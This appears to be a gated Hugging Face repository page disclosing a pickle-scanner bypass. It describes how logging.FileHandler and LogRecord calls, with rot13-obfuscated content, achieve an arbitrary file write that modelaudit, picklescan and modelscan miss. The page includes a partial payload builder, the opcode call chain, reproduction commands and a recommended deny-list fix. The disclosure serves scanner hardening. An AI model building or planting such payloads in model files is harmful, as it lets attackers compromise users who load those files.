You need to agree to share your contact information to access this model
This repository is publicly accessible, but you have to accept the conditions to access its files and content.
This repository contains a proof-of-concept exploit payload for security research purposes. Access to the pickle payload and PoC code requires acknowledgement of responsible use. By requesting access, you confirm you are a security researcher, penetration tester, or student using this material for defensive/educational purposes only.
Log in or Sign Up to review the conditions and access this model content.
logging.FileHandler.emit — File Write via stdlib Logging
Security Research — Responsible Disclosure This repository is part of a systematic study of pickle scanner bypass techniques. The payload demonstrates a detection gap in ML model security scanners. Access to
malicious_model.pklandpoc.pyrequires a request — see gate above.
Summary
Scanner scores for malicious_model.pkl:
| Scanner | CRITICAL | WARNING | Bypassed? |
|---|---|---|---|
| modelaudit 0.2.37 | 0 | 6 | Yes — 0 CRITICAL |
| picklescan 1.0.4 | 0 | 0 | Yes |
| modelscan | 0 | 0 | Yes |
Vulnerability
logging.FileHandler.emit(handler, record) writes LogRecord.msg to the handler's file. By constructing a FileHandler with an attacker-controlled path and a LogRecord with attacker-controlled msg, arbitrary content can be written to any writable path.
All logging primitives are absent from all ban lists. The content is rot13-encoded in the pickle; _codecs.encode (SAFE_GLOBALS) decodes it at runtime.
Proof of Concept
malicious_model.pkl in this repository is the exploit payload.
poc.py builds and tests it with full scanner output.
How the PoC was built
def build(target: str, content: str) -> bytes:
content_rot13 = codecs.encode(content, "rot_13")
ops = bytearray(b"\x80\x04")
# _codecs.encode(rot13_content, 'rot_13') → content [0 findings]
ops += sg("_codecs", "encode") + sbu(content_rot13) + sbu("rot_13") + b"\x86R"
ops += b"\x94\x30" # MEMOIZE 0, POP
Affected file formats
Pickle (.pkl, .pt, .bin, .joblib) — any file deserialized via pickle.loads(),
torch.load(), joblib.load(), or equivalent.
Conditions required to trigger
- Target calls
pickle.loads(untrusted_bytes)or loads a model file via any pickle-based loader - The scanner performs static analysis only (no sandboxed execution)
- Scanner checks GLOBAL/STACK_GLOBAL opcodes against a deny list
Reproduction Steps
# 1. Request access above, then clone
git clone https://huggingface.co/SiggytheShark/pickle-bypass-logging-filehandler-emit
cd pickle-bypass-logging-filehandler-emit
# 2. Install requirements
pip install modelaudit picklescan modelscan
# 3. Scan — observe scanner scores match table above
modelaudit scan malicious_model.pkl
picklescan --path malicious_model.pkl
modelscan -p malicious_model.pkl
# 4. Execute to confirm RCE/side-effect
python3 poc.py
# 5. Verify
ls /tmp/scanner_bypass_proof.txt
Security Impact
Add "logging.FileHandler" and "logging.LogRecord" to ALWAYS_DANGEROUS_FUNCTIONS. No model should access the logging system during deserialization.
Bypass mechanism: The payload evades static analysis while achieving its effect
(code execution, file write, or network connection) when pickle.loads() is called.
Real-world scenario: An attacker uploads this payload to a model hub. A victim
downloads and loads it. The scanner reports the file as safe (0 CRITICAL). The
payload fires silently — the return value of pickle.loads() looks like a normal
Python object while the side effect has already occurred.
Full Technical Writeup
logging.FileHandler.emit — File Write via stdlib Logging
Score: 0 CRITICAL, 6 WARNING
Technique: Arbitrary file write via the logging module's ordinary public API
Scanner version: modelaudit 0.2.37
Mechanism
logging.FileHandler.emit(handler, record) writes LogRecord.msg to the handler's file. By constructing a FileHandler with an attacker-controlled path and a LogRecord with attacker-controlled msg, arbitrary content can be written to any writable path.
All logging primitives are absent from all ban lists. The content is rot13-encoded in the pickle; _codecs.encode (SAFE_GLOBALS) decodes it at runtime.
Pickle Structure
_codecs.encode(rot13_content, 'rot_13') → content [0 findings]
logging.FileHandler(target) → handler [WARNING 1]
logging.Formatter('%(message)s') → formatter [WARNING 2]
logging.FileHandler.setFormatter(handler, fmt) → configure handler [WARNING 3]
logging.LogRecord('root', 20, '', 0, content, ...) → log record [WARNING 4]
logging.FileHandler.emit(handler, record) → file written [WARNING 5]
logging.FileHandler.close(handler) → flush [WARNING 6]
Why This Is Notable
This demonstrates that even clearly "benign" stdlib modules like logging can be weaponized via their ordinary public API. The logging module has no reason to appear in a model pickle, yet it provides a fully functional file-write primitive with no dangerous function names.
Higher warning count (6W) than pathlib.write_text (2W) makes it less preferable as a primary technique, but it illustrates the surface area problem.
Recommended Fix
Add "logging.FileHandler" and "logging.LogRecord" to ALWAYS_DANGEROUS_FUNCTIONS. No model should access the logging system during deserialization.
General Analysis — Security Research